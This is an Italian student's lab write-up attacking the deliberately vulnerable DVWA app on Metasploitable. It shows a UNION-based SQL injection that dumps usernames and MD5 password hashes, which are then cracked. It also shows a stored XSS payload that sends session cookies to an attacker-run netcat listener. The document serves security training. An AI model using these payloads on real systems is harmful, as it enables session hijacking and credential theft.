

# SQL injection (blind) e XSS stored

La traccia di oggi ci chiedeva di “exploitare” le vulnerabilità “SQL injection(blind) e XSS stored” presenti sull’applicazione DWA di Metasploitable. Prima di iniziare l’esercizio, ho dovuto impostare il livello della sicurezza della DWA su **low**.

# SQL injection (blind)

Una volta effettuato l'accesso sulla DWA, sono andato nella sezione SQL injection (blind), per recuperare le password degli utenti.

Con il comando **"1'UNION SELECT user,password FROM users#"** ho ottenuto username e password degli utenti.

## Vulnerability: SQL Injection (Blind)

User ID:

Submit

ID: 1' UNION SELECT user,password FROM users#  
First name: admin  
Surname: admin

ID: 1' UNION SELECT user,password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user,password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user,password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Una volta recuperate le password le ho dovute decifrare perché le password trovate erano degli hash di password MD5.

Per decifrare le password ho usato il programma “CrackStation”, con questo programma mi è bastato inserire l’hash della password e lui mi riconsegnava la password decifrata.

USERNAME: admin

Hash	Type	Result
5f4dcc3b5aa765d61d8327deb882cf99	md5	password

USERNAME: gordonb

Hash	Tipo	Risultato
e99a18c428cb38d5f260853678922e03	md5	abc123

USERNAME: 1337

Hash	Tipo	Risultato
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley

USERNAME: pablo

Hash	Type	Result
0d107d09f5bbe40cade3de5c71e9e9b7	md5	letmein

USERNAME: smithy

Hash	Type	Result
5f4dcc3b5aa765d61d8327deb882cf99	md5	password

PS: ho usato il programma CrackStation, perché ho avuto problemi ad abilitare la configurazione di “UTF-8”.

# XSS stored

Per l'XSS stored, ho preso user e password da quelle ricavate prima per fare l'accesso sulla DWA. Una volta effettuato l'accesso sono andato nella sezione XSS stored; una volta entrati ci ritroviamo due caselle di testo (nome e messaggio) su cui poter scrivere, prima di iniziare a scrivere il codice da utilizzare, con il tasto destro del mouse, ispeziona e nel campo maxlength sono andato a cambiare il numero di caratteri da poter inserire, altrimenti non cambiando il numero di caratteri, quando inserivo il codice veniva tagliato.

```
▼ <tr>
  <td width="100">Name *</td>
  ▼ <td>
    <input name="txtName" type="text" size="30" maxlength="100">
  </td>
</tr>
▼ <tr>
  <td width="100">Message *</td>
  ▼ <td>
    <textarea name="mtxMessage" cols="50" rows="3" maxlength="100"></textarea>
```

Una volta cambiato il numero di caratteri massimo da inserire nelle caselle di testo, ho utilizzato questo codice per ricavare il cookie:

**“<script>newImage().src='http://192.168.50.100:80/?cookie='+encodeURIComponent(document.cookie);</script>”**

.

### Vulnerability: Stored Cross Site Scripting (XSS)

Name *	<input type="text" value="0.100:80/?cookie='+encodeURIComponent(document.cookie)"/>
Message *	<div>&lt;script&gt;newImage().src='http://192.168.50.100:80 /?cookie='+encodeURIComponent(document.cookie); &lt;/script&gt;</div>
<input type="button" value="Sign Guestbook"/>	

Ora che il codice è stato inserito è stato salvato nel web server, così ogni volta che un utente avvierà una sessione il codice inserito farà in modo che il cookie di sessione verrà inviato sul nostro server in ascolto.

```
(kali@kali)-[~]  
$ nc -l -p 80  
GET / HTTP/1.1  
Host: 192.168.50.100  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
^C
```

Instructions	Name *
Setup	Message *
CSRF	Sign Guestbook
File Inclusion	Name: test
SQL Injection	Message: This is a test comment
SQL Injection (Blind)	